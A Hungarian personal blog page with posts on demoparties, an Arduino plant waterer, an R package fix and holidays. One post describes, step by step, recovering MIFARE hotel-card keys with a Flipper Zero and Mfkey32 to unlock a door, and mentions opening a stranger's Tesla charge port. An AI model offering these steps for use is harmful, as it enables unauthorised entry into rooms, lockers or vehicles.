HTML

Az élet kódjai

Csináld maga. Senki nem csinálja meg helyetted.

Friss topikok

  • sdani: Oh... néha eszembe jut, hogy az EBI után esetleg vissza kellene menni valamennyire az akadémiai vo... (2025.03.18. 16:58) Pontos, jól behatárolt célok
  • legyen úgy: Szia, Értem és köszönöm a válaszodat! T. (2025.02.24. 18:23) Expose CTF
  • sdani: Sajnos nekem is hasonló érzéseim vannak az R kiszorulásával kapcsolatban. Remélem jobban fogja tar... (2024.04.29. 10:48) R meetup
  • sdani: Nagyon jók ezek a bejegyzések! Feszültséggel teli, fordulatos, mint egy jobb krimi. :D Abba ne hag... (2024.04.29. 10:35) Wgel CTF
  • sdani: @Travis.CG: Egy kis szerencse sosem árt. :D (2024.03.01. 13:19) A bioinformatika helyzete 2024-ben

Végtelen QBParty

2024.09.22. 18:27 Travis.CG

A wild végül nem készült el, de ez kivételesen nem rajtam múlt. Sikerült szerezni zenészt, aki ráadásul a MoonShine tagja, de nem volt annyi ideje, hogy a party kezdetére elkészüljön. Zene nélkül meg nem akartam beadni. Assembly-re nem készült el, QBParty-ra nem készült el, majd kész lesz egyszer.

Azért nem jöttem üres kézzel, a 256 byte intróm kész lett, és találtam egy fotót is, amit be tudtam adni. Nyerni egyikkel sem fogok. (Üzenet a jövőből: nem is nyertem.)

Kicsit féltem lejönni, mert rengeteg szervezési problémáról hallottam. Szerencsére a helyszínen egyik sem tűnt olyan súlyosnak, hogy a parti létét veszélyeztesse. Legalábbis aki le akart jönni, az lejött, láttam embereket, akik release-t heggesztettek még az utolsó pillanatban is, úgyhogy nagy gond nincs.

A fotók sokkal jobbak voltak, mint Assembly-n, ezt bízvást állíthatom. Matthew turbóra járatta magát, mert egyből két zenét is beadott, volt játéka, előadást is tartott és még egy DJ szettet is lenyomott róka jelmezben. Oh, azt el is felejtettem írni, hogy szervező is.

A zenék egészen jók voltak, bár az egyik úgy hangzott, mint a 90-es években a zenélő kulcstartók és a Wizard of Wor szerelem gyereke. Na, az nem tetszett. Az eredményeket nézve másnak sem.

A játékok nagyon jók voltak, Helguli egy Arduinós memóriajátékot hozott, ahol nem egyforma képeket, hanem egyforma zenéket kellett megtalálni. De az Escape from Metropolis is nagyon látványos volt, azzal még nekem is megjött a kedvem egy kis játékhoz.

A két compó blokk között lehetett grillhusit enni.

A 256 byte intrókat Antiemes spammelte. Három intrót adott be, de ugyan azzal a technológiával készültek. A 8k is kellemes volt, de érezhetően 4k-nak készültek.

Az oldschool prodok között feltűnt egy Primo és egy TVC alkotás. A TVC alkotás erősen hajazott a Lethargy Das Boot demójára. Apropó Lethargy: ők diafilm demót készítettek. A Primo demó sztori alapú volt, ami nekem pluszban bejött.

A nosztalgia hullám a demóknál is megjelent. A TGD a Lehel hűtők (sőt, egy bizonyos Lehel hűtő modell) által okozott lelki traumákat hívta életre. Remek megvalósítás, jó zene, borítékolható, hogy nyerni fog. De a többi indulónak sem volt oka panaszra. Alibi produkciót nem is láttam.

A kompók után Ziona DJ műsora kötötte le az ébren maradók figyelmét. Általában nem vagyok egy DJ párti, ilyenkor vagy kimenekülök a teremből, vagy átalszom. Ez a mostani viszont tetszett. Azon kaptam magam, hogy nem is a blogot írom, hanem a műsort hallgatom.

Kint Jotek állította fel távcsövét, amin keresztül nézhettük a csillagokat. Az eredményhirdetés után még egy tűzijáték is volt. Nem csalódott, aki eljött. A parti hozta a szokott hangulatot. Egyetlen fennakadásról tudok, a pénteki napon ugyanis elírták a PHP kódot, ami miatt csak 556 byte méretet lehetett feltölteni. Ezt leszámítva minden simán ment. Én személy szerint jól éreztem magam, remélem más is.

Szólj hozzá!

Címkék: demoscene

A Férfi és a Szerszám

2024.09.19. 16:01 Travis.CG

A Férfinak Szerszám kell. A Szerszám által a Férfi megváltoztatja az Anyag és az Energia tulajdonságait. Beleavatkozik a Világmindenség folyamataiba és saját igényeire szabja azt. Mikor végez, megnyugszik, eggyé válik a Végtelennel, mert a dolgok a jó irányba folynak. Létrejön a harmónia.

Aztán egy nap elromlik a hosszabbító. De a Férfit ez nem keresíti el, hiszen ott a Szerszám! A Szerszám, ami végigkísérte az Úton. Tőle független entitás, mégis a része, ahogy egy kettős csillag is egy egységet alkot miközben keringenek a láthatatlan közös tömegközéppont körül. Egyik sem létezhet a másik nélkül.

A hosszabbító pedig a létező legprimitívebb alkotás, amit kivethet magából az Ősrobbanás. Csupán néhány szigetelt vezeték egy lecsavarozott műanyag dobozban, ami a messzi Kínából érkezett. Híjján van kreativitásnak, bravúrnak. A végtelen egyszerűség jelképe.

És eljön a pillanat, amikor a Férfi és Szerszáma áll szemben ezzel az ócska tucatárúval. A Férfi számára nem kérdés az események kimenetele. Magabiztosan nyúl a Szerszám felé, hogy helyretegye az Univerzum hibás szeletét és helyreállítsa a tér-idő kontinuumot. Majd jön a döbbenet: A Szerszám nem kompatibilis a csavarral, ami összetartja ezt az ócskaságot.

csavar.jpg

A Férfi nem esik kétségbe, mert vannak más Szerszámok is. Szerszámok, amik apáról fiúra szállnak és átlengi őket az ősök szelleme. Szerszámok, melyek újak és csillogók, tettre készek. De nem számít, mert a csavart egyikkel sem lehet kicsavarni. Hiába ígérték reklámok, hogy "Ezzel a 189 részes csavarhúzó készlettel mindent meg tud oldani". Igaz a 189 részből 89 valami apró bizbasz, ami soha nem volt jó semmire. Mert valójában csak 100 részes szerszámkészletek léteznek, csupán a bizbaszok számát emelik, hogy a vásárlók ingerküszöbét át tudják törni.

Ezt most már a Férfi is tudja, aki épp a soha nem használt 399 részes csavarhúzó készletét bontja ki, de nem talál benne egyetlen olyan elemet sem, amit ne talált volna meg a korábbi csomagokban. És most már a dobozt sem tudja visszacsukni, mert olyan passzentosan vannak benne a bizbaszok, hogy a 10^49-es lehetséges bizbasz kombinációból csak egy esetén lehet lecsukni a tetőt. Az ipari csomagoló robotokon kívül pedig senki sem ismeri azt a kombinációt.

A hosszabbító továbbra is egyben van. A csavar, mint valami gúnyos mosoly mered a férfira, a lakás pedig tele szerszámokkal, amiket nem tud elpakolni. A Harmónia repedezik, a frusztráltság nő, amíg haza nem ér az Asszony.

- Mi ez a kupleráj? - kérdezi.

- Szerelek - mondja a férfi, bár a kijelentésnek ellent mond, hogy semmi nincs szétszerelve, és egyetlen szerszám sincs használva.

- Meddig szerelsz? - ez egy kódolt üzenet. A férfi villámgyorsan dekódolja: Öt perced van, hogy rendet rakj, vagy kiváglak a vackaiddal együtt.

A férfi és a szerszám egysége megbomlik. Elbuknak a hosszabbítóval szembe. A Káosz győz.

Szólj hozzá!

Címkék: irodalom

Ezen még dolgozni kell

2024.09.13. 17:18 Travis.CG

Azt hihetnénk, hogy a ChatGPT, Google Translate korában már nagy fordítási hibákat nem vétenek a csaló email-ekben, de ez nem így van. Vagy csak lusták, mint a föld, nem tudom. Eheti spamünkben Nyugat Afrikából próbálnak információt kiszedni belőlem. A legjobb mondatokat összegyűjtöttem:

"Ezúton szeretnénk tájékoztatni Önt egy nagyon fontos információról, amely az isten szerelmére nagy segítséget jelent majd.."

Az isten szerelmére, tanuljátok meg a fordítóprogramok használatát.

"Ebben a sorozatban eddig háromszázhat (306) csalót tartóztattak le, a mellszobor még mindig folyamatban van."

Elég lenne lefényképezni őket, a mellszobor tényleg túlzás. Vagy ők nemzeti hősök? Esetleg Jabba tesz rendet Nyugat Afrikában, és úgy bánik el a csalókkal, mint Han Solovanl?

Azért 306 mellszobor elég tekintélyes helyet foglal el. Bejárni sem kis teljesítmény.

"Biztos lehet benne, hogy ez nem átverés vagy trükk, és soha nem lesz az, amit gondol."

Ez speciel igaz. Már többször elgondoltam, hogy majd jó nap lesz, azután valami rácáfolt. Soha nincs az, amit gondolok.

Szólj hozzá!

Címkék: biztonság

Automata öntöző

2024.09.08. 12:48 Travis.CG

A nyári melegre való tekintettel elhatároztam, hogy készítek egy öntöző rendszert, ami akkor is vízzel látja el a növényeket, ha nincs otthon senki. Elkezdtem tervezgetni, mire is lenne szükség. A vezérlést egy Arduino fogja ellátni. Szükség lesz egy valós idejű órára is, mert a dokumentációkat böngészve azt találtam, hogy az Arduino saját időzítője nem lesz megfelelő, ha például egy hétre akarom magára hagyni a rendszert. Szerencsére volt itthon egy DS3231. Ez egy kis gombelem segítségével akkor is "emlékszik" az időre, ha az Arduino nincs áram alatt.

Először egy törött buborékfújó pumpáját akartam felhasználni. Szerencsére a gyerekek dögivel termelik a használhatatlan játékokat, úgyhogy villanymotorból, fogaskerékből el voltam látva. Az elsődleges tesztek szerint viszont a buborékfújó nem pumpál elég vizet, csak valami apró permetet, ami játékra megfelelő, de növények öntözésére nem.

Házilag nem tudok készíteni szivattyút, ezért kénytelen voltam beruházni kettő akvárium levegőztetőre. Eleinte csak egyet akartam venni, de később mégis kettőt szereztem be. Ezek voltak a projekt legköltségesebb részei.

Viszont a levegőztetők 220V-al mennek, az Arduino pedig csak 5V-al. Szükségessé vált egy relé is. A kacatok között találtam egy relé modult, de az két áramkört is képes volt vezérelni. Kicsit pazarlásnak éreztem, hogy egy pumpa kedvéért két relét építsek be, de mikor a feleségem azt mondta, hogy vannak növények, amelyek kevés vizet igényelnek, és olyanok is, amiknek sok víz kell, végül vettem még egy pumpát, és mind a kettő relét bekötöttem.

Ekkor viszont az áramellátás okozott némi gondot. Az oké, hogy a két pumpát rákötöm a hálózatra, de hogyan kap az Arduino áramot? Nem akartam, hogy elem is legyen. Azt szerettem volna, ha csak egy villásdugót bedugok, és az egész rendszer menjen. Fel kellett áldoznom egy telefontöltőt.

tap1.jpg

Először egy prototípust építettem, hogy lássam, hogyan fognak kapcsolódni a részegységek.

proto1.jpg

Különböző teszteket futtattam. Szerencsére a relé modulnak van egy kis LED-je, nem kellett váltóáramot is használnom a próbák során. Először csak egy olyan programot írtam, ami bekapcsolás után két percet vár, majd a szivattyút működteti két percig, és kikapcsol. Még a tervezési fázisban voltak olyan vad ötleteim, hogy egy LCD kijelzőt és gombokat is rakok az öntözőre, hogy ott lehessen mindent beállítani, de rájöttem, hogy a projektet nagyon elbonyolítja, én meg nem állok azon a szinten, hogy megvalósítsam. Ezért úgy gondoltam, az Arduino USB csatlakozóját szabadon hagyom, és mindig az adott feladatnak megfelelően fogom felprogramozni.

Mikor ezzel megvoltam, jöhetett a megvalósítás. A víztartály egy régi festékes doboz volt. Ebbe ment a két pumpa. A doboz oldalát kifúrtam és kivezettem a pumpák csöveit rajta. A vezérlést a doboz tetején akartam elhelyezni. A vizes közeg miatt azt egy édességes dobozba tettem, aminek külön zárható volt a fedele. Annak idején mentettem pár távtartót régi alaplapokról. Ezek most jól jöttek az egyes modulok rögzítéséhez.

tartaly.jpg

A kábelek elhelyezésén is sokat gondolkodtam. A hálózati áramot három részre kellett elosztani. Kellett a telefon töltőnek, és a két relének. Az 5V-ot is három részre kellett osztani. Kellett az Arduinonak, a valós idejű órának és a relének is.

Végül a telefontöltő lett a 220V elosztója, az 5V meg egy csomóba lett forrasztva. Minden kapott alibi érintésvédelmet ragasztópisztolyból. A korábbi projektekből okulva most ügyeltem a vezetékek színére is.

vezerles.jpg

A telefontöltőnél először a nyákra forrasztottam az 5V-os végeket, a fenti kép a végleges, működő verzió. A ragasztópisztolyt igen sűrűn használtam, még a tömlők vízszigetelését is azzal oldottam meg.

Elérkezett a csapatpróbák ideje. Kicsit távolabb mentem az öntözőtől, és úgy adtam rá az áramot. Szerencsére nem szikrázott és nem csapta le a biztosítékot. Cserébe nem is működött. Még az Arduino sem világított. Valahol nem ment az áram.

Végül sikerült kimérnem, hogy a telefontöltő nem 5V-t, hanem csak 1V-t ad le. Nem értettem miért nem megy. Az USB négy ponton volt a nyákra forrasztva, de ha onnan vezettem el az áramot, nem adták le a megfelelő feszültséget. Végül a vezetékeket az USB belsejébe forrasztottam, és utána már működött.

Legalábbis üresen. Amint vizet töltöttem a tartályba, kiderült, hogy a tömítések eresztenek. Ráadásul két perc alatt annyi vizet pumpál ki, hogy egy fazekat is megtöltene. Hirtelen nem tudtam, hogy a vezetéket húzzam ki, vagy a vízzel kezdjek valamit, ami a növény tálcájából jött ki. De nem csaptam agyon magam árammal és a lakást sem úsztattam el.

teszt.jpg

Közben az is kideült, hogy a programban is volt egy bug. Rosszul hasonlítottam össze az időintervalumokat, ezért két perc után újra elindultak a pumpák és nyomatták a vizet. Elmondhatom, hogy a hibakeresés sokkal izgalmasabb, ha a programunk eredménye nem csak a képernyőn látszik.

A szigetelés javítása több napot vett igénybe, mert bekentem szilikon pasztával, hagytam megszáradni (1 nap), teszteltem. Mikor folyt, ki kellett szárítani, és kezdődött minden elölről. Végül elkészült. Ekkor szembesültem egy tervezési hibával. A csöveket túl alacsonyan vezettem ki. Ha teletöltöm a tartályt, akkor közlekedőedényként kezd el viselkedni, és a csövön kérés nélkül is kifolyik a víz. Ez a teszteknél nem jött elő, mert akkor csak kevés vizet öntöttem bele. Telepítésnél tehát figyelni kell, hogy a növények magasabban legyenek, mint az öntöző.

vegleges.jpg

Szólj hozzá!

Címkék: barkácsolás

Random nyári történések

2024.08.31. 17:47 Travis.CG

A mai nyár legfontosabb tanúsága, hogy kamikaze-csúszdán mindig zárt lábakkal kell lecsúszni!

Ha már a csúszdáknál tartunk: Dekoratív, fiatal hölgy az úszómester, ő indítja a vendégeket a csúszdán. Vagány csávó, zéró IQ próbál ismerkedni:

- Hello, mond meg a neved!

A hölgy rá sem néz.

- Szerelmes vagyok beléd, mondd má' meg a neved!

- Nem mondom. Inkább csússzál.

- De mondd meg a neved!

Persze nem tudta meg.

Másik vicces sztori: Ingyen wifit vadásztam laptoppal egy művelődési ház mellett, de nem láttam a hálózatot, pedig mellettem egy nő egész konferenciabeszélgetést folytatott a segítségével. Végül kiokkumláltam, hogy bizonyára a laptop nem látja az 5GHz-es sávot. Ezért a telefonnal kapcsolódtam rá, majd USB-n megosztottam a számítógéppel. Arra jött egy ember, kérdezte, működik-e az ingyen wifi.

- Igen, de csak 5GHz-en - válaszoltam, de az ember csak megrázta a fejét.

- Annyi nekem nem elég - azzal tovább állt.

Szólj hozzá!

Címkék: életmód

Elavult R csomag javítás

2024.08.28. 10:32 Travis.CG

Az egyik kihívás a munkám során, hogy megtaláljuk az egyensúlyt a "nem piszkáljuk, mert működik" és a "kijött az update, felrakni!" között.

Az R-t például nem frissítjük minden hónapban, mert akkor minden felhasználó, minden csomagját frissíteni kellene (mert ugye minden felhasználó más csomagokat használ), és akkor soha nem dolgoznánk, csak frissítgetnénk. Ezért a szerveren egy 4.0.2-es R van, 3.12-es Bioconductorral.

Az egész szépen elzötyögött, egészen addig, míg a PureCN nevű csomagot nem telepítették a felhasználók. A PureCN ugyanis a biomaRt-ot is használja, ami viszont még abban az időben él, amikor még volt uswest tükör az EnsEMBL weboldalából.

Csakhogy nincs uswest, tehát nem megy a biomaRt, és ezért a PureCN is csak zagyvaságot ad vissza. Először megpróbáltuk fixálni R-ből a helyzetet, hogy ne használja az elvault tükör szervert, de persze nem működött. Egy uswest hívás már a könyvtár betöltésénél megtörténik.

A csomagból van frissítés, de akkor frissíteni kell a Bioconductor-t, de ahhoz meg az R-t is frissíteni kell. Ez sem járható út. Marad a programozás.

Leszedtem a GitHub-ról a biomaRt-ot:

git clone https://github.com/grimbough/biomaRt

Átváltottam az ősi branch-re, ami még kompatibilis a rendszerrel.

git checkout RELEASE_3_12

Kézzel kiszedtem az összes uswest hivatkozást a forrásból. Ahol fixen szerepelt, ott átírtam www-re. Most már csak meg kell etetni az R-el. Elindítottam az R-t. A módosított forrás a home könyvtáramban volt.

devtools::install("~/biomaRt")

Megkérdezte, frissítse-e a többi csomagot. Szépen megkértem, hogy eszébe se jusson. Fordított, teszteket futtatott. BUMM! Minden működött.

Szólj hozzá!

Címkék: programozás rendszergazda

Cseppet sem objektíven: Assembly 2024

2024.08.25. 15:44 Travis.CG

Sajnos a videó nem készült el, de QBParty-ra el fog. Az idei Assembly gyengébb volt a korábbi évekhez képest.

Fotó

Ennyi rossz képet még nem láttam demoparty-n.

Fast graphics

Ezek tényleg gyorsak voltak, de nem a szó jó értelmében.

Fast music

Finn dalszövege volt az összesnek. Biztos viccesek voltak. Bár elgondolkodtam rajta, hogy hol vehették fel a dalszövegeket, ha a party-n kellett összerakni a release-eket? (Egy-két esetben segített az AI, de az összes esetben nem.)

Wild

Igazán kreatív demók nem voltak, csak a platformok képességeinek a felszínét kapargatták a releasek. Úgy érzem, többet is kihozhattak volna mindegyik alkotásból.

Rövidfilmek

Ez már egy olyan kategória volt, ahol voltak release-ek is. A Triangle Realms csillapította fraktál éhségemet, az Unhelpful Blender Tutorial második része pedig vicces koncepció volt. A többi nem tetszett.

Tracked music

A party legnépesebb kategóriája volt, még az AI generált cuccokat is lehagyta. Aikapallo nyerte, amit meg is tudok érteni, mert remekül kihasználta a sávokat. A legtöbb trackelt zenén azért lehet hallani a formátumból eredő korlátokat, de itt nem tűntek fel a tipikus jegyek. Élvezeti szempontból nekem mégis a legjobban a Nyarlatho-Teppo's Dorsal Sauna tetszett. Nagyon sajnáltam, hogy a Time is against us hangszerelése túl egyszerű volt, mert stílusában az is bejött. Főleg azért, mert a címe nem csak egy utólag odabiggyesztett cimke, hanem hallatszott, hogy tudatosan komponálták.

1k intro

Mit tegyünk, ha 256b intrókat akarunk készíteni, de nincs kedvünk DOS-ozni? Hát persze, írjunk 1k intrót! Legalábbis ilyen érzésem volt, ahogy a produkciókat néztem. Gyakorlatilag ez egy olyan kategória, ahol meg kell küzdeni a méret limitációval, de közben nem kell vesződni a VGA palettával, és még JavaScriptben is programozhatunk. Az ügyesebbek még zenét is tudnak, ráadásul a Windows-ból klikkre megy. Látványra a CubeSink tetszett a legjobban, még akkor is, ha nem volt benne zene.

Freestyle grafika

Darkii és az ipari/militarista koncepciója 3D Studioval megvalósítva most is nagyot ütött.

A stílusa mindig lenyűgöz. A többi kép minősége már azért megütött egy szintet, ezért nem volt fájdalmas nézni őket.

Listening music

Korábban hallottam olyan kritikákat, hogy a demoscene zenék stílusa egy irányba konvergál. Ez annak idején a dubstep betörésénél még jogos is volt. Ebben az időszakban nem számított zenésznek az, aki nem rakja bele a wubwubwub-ot. Ebben a kategóriában nagyon válozatos stílusokat lehetett hallani, még egy Rammstein másolat is volt. Határozottan pozitív volt ez a sokszínűség.

Dance music

Ha nem is hallottam lélegzetelállíto zenéket, azért egy kellemesen átlagos compó volt. De egynél többször nem fogom meghallgatni őket.

AI wild

Ez egy új kategória, aminek szerintem az a lényege, hogy "ha már generálni akartok, inkább ide adjátok be, mint más kompóba". Viszont itt nem lehetett emberi erővel javítani az eredményen, ami szerintem egy jó megközelítés. Érdekes, hogy a generált grafikák jobban tetszettek a közönségnek, mint a zenék. Ennek ellenére a Paranoid Csirke nálam mindent vitt, mint agresszív grunge rock.

Fantázia konzolok

Az ember azt gondolná, hogy a fantázia konzolokkal odateszik magukat a pixel művészek, de nem. Ebben a kompóban a legtöbben ugyan úgy megragadtak a szinuszos scrollokban, mint a retro hardveresek. Ketten mertek csak továbblépni. A Bird Storm és a Mer Ork volt az egyetlen, ahol képesek voltak egy irányvonalat követni és kilépni a retro hardverek örökségéből. A Bird Storm-nak ráadásul a zenéje is jó volt, nem csak csipogásnak hallatszott. (Bár egy madárnál ez sem lenne meglepő.)

Oldskool demók

Ez volt az első kompó, ahol végre azt éreztem, hogy érdemes volt megnézni. Még a Zoo invit is jól indult, és nem csak egy scroller volt (bár a scroll tette ki a demó 80%-t). Igaz, a legtöbb depressziós alkotás volt. A nyertes demó, a Transcend the Game volt, nem véletlenül: Társadalomkritika, és jó zene együttese. A grafika nem eget rengető, de jól illik a demó koncepciójához. A videót nem lehet belinkelni, itt tudja mindenki megnézni.

Demó

Végezetül lássuk a demókat. Habár a többi kategóriában nagy pangás volt, a demók tekintetében azért kitettek magukért a csapatok. Ezt onnan lehet legjobban látni, hogy nem csak egy demó hozzászólásainál alakult ki nagy veszekedés, hanem kettőnél is. Talán nem ez a legjobb mérőszám, de arra mindenképp alkalmas, hogy megmutassa, mennyi embert mozgatott meg az adott produkció.

A másik érdekesség, hogy több demó próbált meg egyfajta üzenetet továbbítani, nem csak effektet villantani. Már utaltam erre az egyik C64 demó kapcsán is, de itt is előjött.

Ott van példának okáért a nyertes demó, ami az elég explicit címmel rendelkezik: The Message. Nem nehéz megérteni, mi ez az üzenet, amikor olyan képeket látunk, hogy viharos tengeren Demoscene feliratú mentőövek úsznak. A JavaScript engine szép modelleket, gyönyörű effekteket mutatott, miközben dübörgött egy korai demókra hajazó zene. Teljesen megérdemelten nyert.

Nekem viszont a story demók sokkal jobban bejönnek, még akkor is, ha hibák vannak benne. A Superselection pedig pont ilyen. Nagyon erős mozi-szerű hatásokra épít, de mivel ezeket roppant nehéz demókban visszaadni, sokszor beletörik a készítők bicskája. A kritikusok pont ezekre a hibákra mutatnak rá. Például arra, mikor egy női karakter gyakorlatilag mozdulatlanul áll, miközben a narrátor pánikol. De ez nem baj. A baj a túlzott elvárásokkal van. Sokan még a Notch miatt fanyalogtak, de saját motorral valószínűleg még kevésbé érték volna el a céljaikat a készítők.

A világ problémáira megoldást kereső demó a bugfix, a filozófikus irányvonalat képviseli. A melankólia csak a nyolcadik helyre volt elég. A zene, grafika, kód egy ember, Imerso munkája.

A HBC legfrissebb demóján meglepődtem. Maxon nem csak 3D grafikát, hanem zenét és kódot is készített, igaz ez utóbbit csak a Godot motor szkripteléséhez, de dícséretes a hozzáállás.

Végszó

Ez volt az idei Assembly. A demókat érdemes megnézni, de a többi kategória nagyon gyatra volt. Én nem is emlékszem, hogy Assembly zenei kompót nem szívesen hallgattam volna. Remélem ez nem annak a jele, hogy a mentőöv már kevés a demoscenének.

Szólj hozzá!

Címkék: demoscene

Flipper nyaral

2024.08.22. 11:36 Travis.CG

A nyaralás során a Flipper tulajdonságai remekül kiaknázhatóak. A szálláshelyen a TV-t, légkondit lehet vele vezérelni az infravörös irányítón keresztül.

Sikerült a hotelszoba ajtaját is kinyitni. A hotelek NFC-t használnak, de abból rengeteg protokol van. Most szerencsém volt, mert ahol megszálltunk MIFARE Ultralight-ot használtak. Ez is titkosított, de a kis készülék által kezelhető.

Ha csak beolvassuk a kártya adatait és visszajátszuk a zárnak, az nem működik, pont a titkosítás miatt.

Először a kártyát kell beolvasni és elmenteni. Utána a Detect Reader funkcióval beolvasni az érzékelőt. Ez viszonylag sokáig eltarthat. Utána a telefonos applikációval a Tools menüből futtatni kell az Mfkey32 funkciót. Ez is elcsámcsog az adatokon egy ideig és megpróbálja a kulcsokat visszafejteni. Ha megvan, akkor a Flipperen a kártya adatait kiválasztva lesz egy Unlock menüpont, több almenüvel. Én az Unlock by Reader-t használtam. Még egyszer a detektorhoz tartjuk a Flippert, és kész is. Innentől nyithatjuk a hotel ajtaját. Természetesen csak a sajátunkat.

Volt is kisebb bonyodalom, mert én épp a Flipperrel bíbelődtem a hotel folyosóján, amikor megjelent egy csomó vendég mögöttem csomagokkal, és kérdezték, mit csinálok az ő szobájukkal. Mondtam, hogy ez az én szobám. Ők állították, hogy az övék. Végül kiderült, hogy a recepción mindkettőnknek ugyan azt a szobát adták.

Az uszodai öltözőket viszont sehogy sem tudtam kezelni, pedig ezek egyszerűbb protokolra épülnek. Az egyik egy MIFARE Plus X-t használt, egy másik helyen pedig MIFARE Classic 1K-t, legalábbis a szerkezet szerint. Bár a kártyát mindkét típusnál tudtam menteni, a szekrényeket egyik sem nyitotta. Ez nem is baj, mert nem akartam, hogy vizes legyen a Flipper. (Még akkor sem, ha a delfinek tudnak úszni.)

Sok étkezőnél a rendelés elkészültét egy kis korong jelzi. Ezek elméletileg 433MHz-en kapják a jelet, tehát bőven a Flipper konfortzónájában. Nekem viszont a Frequency Analyzer nem jelezte az étel elkészültét. Venni biztosan tudja a frekvenciát, mert a BSides-on az egyik ember mutatta nekem, hogy a saját készülékével a Read funkcióval rögzítette a jelet, mikor elkészült a hamburgere.

Kicsit csalódott voltam, ezért a parkolóban vígasztalásul kinyitottam egy Tesla töltőfedelét.

Szólj hozzá!

Címkék: flipperzero

Balatonnál sej-haj

2024.08.13. 09:55 Travis.CG

Tóbiás nem gondolta, hogy egy bármi probléma lehet. Nyilván egy nyaralás kezdete stresszforrás. Az indulás soha nem úgy alakul, ahogy az ember eltervezte, de aztán eljön a váltás, amikor már nem aggódunk az otthonhagyott papucs miatt, amikor leszállunk az izzadságszagú vonatról, és megkezdődik a nyaralás. Innentől nem szokott gond lenni. Legalábbis semmi olyan gond, amivel tavaly ne találkozott volna az ember, példának okáért a "sokkal drágább fagyi"-tól a szúnyogcsípésig. Amíg csak ezekkel kell foglalkozni, az beleillik a megszokott ritmusba.

Minden ettől való eltérés a probléma kategóriába tartozik. A probléma pedig a bepakolással kezdődött. Tóbiás gyerekkorába a vonathoz kellett igazodni, ezért az indulás idejét nem lehetett módosítani. Most, hogy anyósával és apósával, feleségével, gyerekével, kereszfiával, keresztlányával megy, akik autóval akarnak leutazni, az indulás időpontja megjósolhatatlan. Senki nem tudja, mikor fognak elindulni, mert még az indulás napján is pakolnak.

Tóbiás erősen próbált visszaemlékezni, mennyi csomagja volt annak idején a négy tagú családnak, de csak egy sporttáskára emlékezett. Talán mintha lett volna egy szatyor, ha a sporttáska kicsinek bizonyul. Most hitetlenkedve állt a tömött Mercedes kombi mögött, miközben apósa, Géza próbálja megszervezni, hogy mi kerüljön a második autóba.

- A gyerekülés alá elférnek a sörök - kezdi Péter, Tóbiás sógora. - Úgysem ér le a lábuk.

- Jó, de Tóbiásék táskája is nálatok lesz, mert az ágynemű a fél csomagtartót elfoglalja.

Péter, akár csak egy töprengő mérnök, a járművek csomagtartóját nézegeti.

- Az még talán elfér.

Délután kettőre végeztek a csomagolással. Az ebédmaradék is dobozokba került, sőt Péterék a tegnapi kerti partijukról maradt grillhúsokat is áthozták.

- Mindig idehozzák ezeket a nagy dobozokat, hogy én mosogassam el őket. Mindegyik dobozban van két hús! Miért nem lehetett ezt egy dobozba rakni? - mérgelődik Mari, Géza felesége, de csak ha Péter nincs a közelben.

Mikor a hűtőtáskák is megteltek az ételekkel, azok is a csomagtartóba kerültek. Tóbiás nem értette, mi szükség van erre. Mintha nem is nyaralni mennének, hanem az országot kellene elhagyni meghatározhatatlan időre. Mellette Géza sztorizni kezdett.

- Soha nem felejtem el, mikor Laciék Horváthországba mentek - Tóbiás nem tudta kik lehetnek Laciék, de úgy gondolta, ez jelenleg nem is fontos. -  Egy 12 literes fazék is volt náluk, tele töltött káposztával. Annyi kaját vittek, hogy a kocsi hátsó ülésére sem lehetett beülni. Komolyan nem értem az ilyen embereket.

Géza hangosan hahotázott. Tóbiás megértette, hogy az emberek nem látják saját gyarlóságaikat, amíg van náluk is szánalmasabb. Közben a pakolás is véget ért. Nem azért, mert megvolt minden, amit vinni akartak, hanem mert a kocsik megteltek.

Elindul a konvoly. Géza, Mari és Tóbiás családja az első kocsiban utazott. Olga, Tóbiás és a kis Heni hátul ültek. Tóbiás ölében makarónis tál, mert a keresztfia csak azt eszik ebédre. A másik autóban Péter és két gyereke ült. Péter nem marad a Balatonon, mert sürgős üzleti tárgyalásra kell mennie, tehát a kocsi kipakolása után már jön is el.

Talán két percet utazhattak, amikor Géza a homlokára csap!

- A WC papír!

- Jajj, a WC papír - kontrázott Mari is, mintha neki jutott volna eszébe. Mindenki visszafordul, mert nyaraláskor valami ismerősnek kell, hogy simogasson, ha jön a szükség. Géza berakja a 12-es Covid túlélő készletet és másodszor is elindul a kis csapat. Most egy kicsit messzebb jutottak, de a város határát még nem érték el.

- A pénz! - kiált fel Géza.

- Jajj, nem raktál el pénzt? - sipítozik Mari.

Géza nem hisz a bankkártyában, mobiltelefonos fizetésben és egyéb hókusz-pókuszban. Géza csakis a készpénzben hisz. A teljes nyaralás tervezett kiadása gurtnikban van, akár csak a régi vágású gengsztereknél. Újabb forduló következett vissza a házhoz.

- Bármit felejtünk itt, már nem jövünk vissza - jelenti ki Géza határozottan. Ezt tartja is, hiába jut eszébe Marinak az ásványvíz, vagy a kakaópor az unokáknak.

Miután megérkeznek, megkezdődik a kipakolás. Péter a leggyorsabb, mert még fel szeretne készülni a holnapi tárgyalásra, de Tóbiás úgy érzi, a gyerekeitől is szabadulna akar. Péter még szinte el sem hagyta a nyaralót, amikor Mari már telefonált neki, hogy holnap a tárgyalás után ne felejtsen hozni tejet, a gyerekek biciklijét, és még öt tételt, ami nélkül csak egy napot lehet kibírni.

A gyerekek meglátják a medencét.

- Mama, mama, belemehetünk?

- Várjatok még! - kiált Mari kezében a telefonnal, de a legkisebb nem vár. A fűre dobja az összes ruháját és pucéran a vízbe veti magát. A többiek ezen felbátorodnak, és követik a példáját.

- Nem ilyen medencétek van nektek is? - kérdezi Tóbiás Gézát, miközben pakolják a holmikat a házba.

- De, ugyan az az összeszerelhető modell, csak ez kicsit kisebb.

Késő délután az egész család lement a Balatonhoz. Tóbiás még emlékezett rá, milyen volt gyerekként egész nap a tóban lubickolni, miközben édesanyja a partról kiabált, hogy jöjjön már ki, mert kékül a szája. Valahogy a kékülő száj és a Balaton örökre összefonódott Tóbiás emlékezetében.

Mari és Olga a parton maradtak, nem akartak bemenni a vízbe. Géza és Tóbiás kísérte a gyerekeket. A kicsik berongyoltak a tóban, de megálltak a térdig érő résznél. A lendületük látványosan megtört.

- Fúj, mi ez? - kérdezte az egyik gyerek undorodva, miközben valami zöld úszott felé.

- Hínár, ne félj tőle, nem bánt - bár Tóbiás eszébe rémlett, hogy annak idején ők sem szerették a hínárt. Azért dobálták egymás hajába.

- Ez hideg - jelentette ki egy másik lurkó. Tóbiás 27 fokra saccolta a hőmérsékletet.

- Ússzál, akkor nem fogsz fázni. Menjünk beljebb!

